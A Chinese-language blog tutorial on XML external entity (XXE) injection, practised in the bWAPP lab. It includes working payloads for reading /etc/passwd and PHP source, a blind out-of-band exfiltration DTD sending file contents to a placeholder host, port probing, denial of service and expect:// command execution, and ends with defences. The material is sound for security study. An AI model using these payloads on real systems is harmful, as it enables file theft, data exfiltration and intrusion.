XXE漏洞初步练手

0x00:XXE定义
xml外部实体注入被我们称为XXE。因为实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或者远程内容,当允许引用外部实体时,攻击者便可以构造恶意内容来达到攻击。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明DTD
<!DOCTYPE 根元素[元素声明]>
引用外部DTD(从本网站调用)
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
引用外部DTD(从外网站调用)
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID""URI">
eg:<!ENTITY xxe SYSTEM "http://xxe.com/xxe.xml">
 
0X01:XXE漏洞是如何读取文件的:
<!ENTITY name SYSTEM "file:///etc/passwd">
<root>&name;</root>
此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且
文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试
1.非blind型的XXE:
如图这个HTTP包,包头可以看到Content-type为xml,文件接受者以xml的形式读取文件,然后服务器会正常返回在body里的以POST方式传递过去的xml代码执行内容。由此就可以构造常规的恶意xml代码(非blind型的XXE)
2.blind型的XXE
可以构造如下xml恶意代码:
<?xml  version="1.0" ?>
<!DOCTYPE nay[
<! ENTITY %remote  SYSTEM "http://xxe.com/eval.dtd">%remote;%ppp;%send;
]>
<foo></foo>
这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件
写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:
<!ENTITY %name SYSTEM "file://etc/passwd">
<!ENTITY %ppp "<!ENTITY %send SYSTEM 'http://your-ip/?p=%name;'>">
整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,然后加载ppp参数实体,
接下来加载send实体,此时就是关键点,就是用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器
日志中留下记录),查询的字符串p的值便是参数实体name的值。
 
3.XXE的手工检测方法:
<! DOCTYPE any[
<! ENTITY shit "this is a test">
]>
<root>
&shit;
</root>
如果Response里出现“this is a test”说明存在XML调用,则可以继续加载外部实体。
<?xml version=”1.0” encoding=”UTF-8”?>
 
<!DOCTYPE ANY [
 
<!ENTITY % shit SYSTEM “http://you-host/eval.xml”>
 
%shit;
 
]>
然后查看自己服务器的日志,来目标服务器是否想你的服务器发送了一条请求eval.xml的HTTP Request。
如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
如果不能回显,毫无疑问,使用Blind XXE攻击方法。
 
0x02:XML外部实体注入利用(XML External Entity)
 
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
不同程序支持的协议不一样
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有:
XXE常见利用环境:
xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,
从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,
可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如
wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录。这里简单来说就是攻击者必须具有一台具有公网ip的主机。
 
XXE危害1:读取任意文件
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
如果数据不回显怎么办?可以把数据发送到远程服务器。
远程服务器DTD:
触发XXE攻击后,服务器会把文件内容发送到攻击者网站
收到的信息base64解码即可
如果失败,可能是由于读取php等文件时文件本身包含的<等字符被过滤,可以使用Base64编码绕过,如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
 
XXE危害2:执行系统命令
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
 
XXE危害3:探测内网端口
该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。
XXE危害4:攻击内网网站
该CASE是攻击内网struts2网站,远程执行系统命令。
 
XXE危害5:插入XSS
在XXE中插入XSS:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [
<!ENTITY bWAPP "<script>alert("Hello Flaray")</script>"> ]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
 
XXE危害6:拒绝服务攻击(DDOS)
我们可以使用XXE漏洞来导致拒绝服务。通过请求永不返回的文件(例如/ dev / random和/ dev / zero)来导致拒绝服务。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/random">
]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///dev/zero">
]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
 
XXE危害7:代码执行
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "expect://id">
]>
<reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>
 
 
无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞
 
0X03:使用bWAPP进行XXE练手:
bwapp可以单独下载,也可以下载一个虚拟机版本,解压后直接打开虚拟机就可以访问。
单独下载的话需要部署到apache+mysql+php的环境中,发现下载的不同版本的bWAPP居然内容不一样,也就是坑爹的每个版本分别包含不同内容,所以推荐使用bee-box。
 
单独安装的话:
浏览器访问你的bwapp:http://x.x.x.x/bwapp/install
 
虚拟机的话:
下载之后解压,用vmware“打开虚拟机”即可
默认账号密码为:bee/bug
但使用用虚拟机的方式的话存在一个键盘乱序的问题,需要做如下设置:
System -> preferences -> keyboard -> layouts -> +add【layouts:China】
keyboard -> A4Tech KB-21
注意:bee-box中的bWAPP可以升级但系统不能升级
 
登录默认账号bee/密码bug
bee-box是ubuntu13.04 32位。
 
可以直接打开bee-box然后在物理机浏览器里使用bWAPP(跟127.0.0.1一样的用法),虚拟机的版本可用的软件实在糟心。
另外CTF练手网站: http://web.jarvisoj.com:9882/,通过访问/home/ctf/flag.txt解开题目。
 
 
安全等级:low
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///etc//passwd">]>
<reset>
  <login>&test;</login>
  <secret>login</secret>
</reset>
其中<?xml version="1.0" encoding="UTF-8"?>可以省去。
我们也可以利用XXE来读取网站目录下的一些重要文件,只要修改外部实体定义语句<!DOCTYPE copyright [<!ENTITY test SYSTEM "">]>即可。
PS:读取内网中其他服务器文件也是可行的,这也是BWAPP作者将XXE归到SSRF利用里原因:
测试端口是否开放,用80端口测试:
<!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
如图说明开放
修改为180端口,发现不开放
 
通过XML引用外网站DTD文件来利用XXE漏洞:
打开phpstudy构造本地回环网站,再输入自己的IP来利用了本机回环地址下的1.dtd。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://192.168.X.X/1.dtd">
    %d;]>
<reset>
    <login>&b;</login>
    <secret>Any bugs?</secret>
</reset>
1.dtd内容:
<!ENTITY %b SYSTEM "file:///etc/passwd">
 
Medium/Hign等级
使用上面使用的语句提示reset。
分析下源代码:
login元素值变成了从session中获取,攻击者无法利用login元素来进行XXE攻击。
 
0X04:防御XXE攻击
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
其他语言:
 
方案二、过滤用户提交的XML数据  
关键词:SYSTEM和PUBLIC。
 
方案三、其他语言替代
使用json等替代xml
 
 
参考:
posted @ 2019-10-25 15:13  aw4ker  阅读(498)  评论(0编辑  收藏  举报